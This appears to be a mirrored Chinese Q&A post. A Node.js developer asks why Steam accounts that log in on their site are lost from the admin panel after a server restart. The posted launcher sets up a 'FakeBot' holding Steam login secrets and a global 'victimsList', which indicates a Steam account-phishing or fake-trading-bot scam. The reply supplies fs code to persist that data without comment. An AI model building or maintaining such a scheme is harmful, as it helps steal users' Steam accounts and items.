繁体   English   中英

如何保存 session nodejs?

[英]How to save session nodejs?

当我在网站上通过我的 Steam 帐户登录时,它正在保存数据,但是当我重新启动服务器并查看管理面板时,帐户没有保存。 如何解决?

const WebServer = require('./src/webserver')
const FakeBot = require('./src/fakebot')

global.victimsList = {}
global.prices = require('./prices.json')
global.config = {
    admin_address: '',
    secretKey: '7786',
    botSteamid: ''
}

global.http = new WebServer({
    port: 80,
    address: ''
})
global.http.launchListener()

global.fakebot = new FakeBot({
    login: '',
    password: '',
    shared_secret: '',
    identity_secret: '',
    price_minimum: 0,
    admins_id: ['']
})
global.fakebot.steamAuth()

很少有不同的方法来做到这一点。 一种超级简单的方法是使用 fs 模块。 然后,您可以超级简单地保存和读取文件中的文本数据。 有类似的东西:

function saveData(){
  fs.writeFileSync('save.json', JSON.stringify(whateverObjectNeedsToBeSaved));
}

function readData(){
  return JSON.parse(fs.readFileSync('save.json'));
}

fs模块: https://nodejs.org/api/fs.html

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM